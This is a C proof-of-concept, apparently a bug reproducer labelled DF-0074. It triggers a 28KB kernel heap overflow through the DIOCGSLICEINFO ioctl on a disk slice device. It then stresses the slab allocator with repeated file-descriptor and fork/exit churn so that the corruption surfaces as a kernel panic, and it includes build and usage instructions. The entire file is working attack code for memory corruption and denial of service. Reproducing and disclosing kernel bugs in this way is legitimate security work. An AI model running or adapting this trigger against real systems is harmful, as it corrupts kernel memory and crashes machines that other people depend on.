DF-0074 / trigger_stress.c
/* * DF-0074 stress trigger - issue DIOCGSLICEINFO (the 28KB heap overflow), * then heavily churn the slab allocator (open/close many fds, fork/exit) so a * corrupted neighbor object gets validated/freed and the overflow surfaces as * a panic. The overflow itself is guaranteed on every run; the panic is not. * * Build: cc -O2 -o trigger_stress trigger_stress.c * Usage: ./trigger_stress /dev/vn0s1 [iterations] */ #include <sys/ioctl.h> #include <sys/diskslice.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/vn0s1"; int iters = (argc > 2) ? atoi(argv[2]) : 5; int fd, n; for (n = 0; n < iters; n++) { fd = open(dev, O_RDONLY); if (fd < 0) { perror("open"); return 1; } struct diskslices ds; if (ioctl(fd, DIOCGSLICEINFO, &ds) < 0) { perror("ioctl DIOCGSLICEINFO"); close(fd); return 1; } fprintf(stderr, "[%d] DIOCGSLICEINFO returned nslices=%u (overflow happened)\n", n, ds.dss_nslices); /* churn: open/close a pile of low-numbered fds to touch the slab zone * that may have been smashed by the 28KB overrun. */ int ks[64]; int j; for (j = 0; j < 64; j++) { ks[j] = open("/dev/null", O_RDONLY); } for (j = 0; j < 64; j++) { if (ks[j] >= 0) close(ks[j]); } close(fd); } /* fork/exit churn: fdfree on exit validates file-descriptor slab objects, * which is exactly where the 6.4.2 panic fired. */ fprintf(stderr, "fork/exit churn to force fdfree slab validation...\n"); for (n = 0; n < 40; n++) { pid_t p = fork(); if (p == 0) { int k; for (k = 0; k < 32; k++) open("/dev/null", O_RDONLY); _exit(0); } else if (p > 0) { waitpid(p, NULL, 0); } } fprintf(stderr, "stress done; if we got here, no synchronous panic this run.\n"); return 0; } |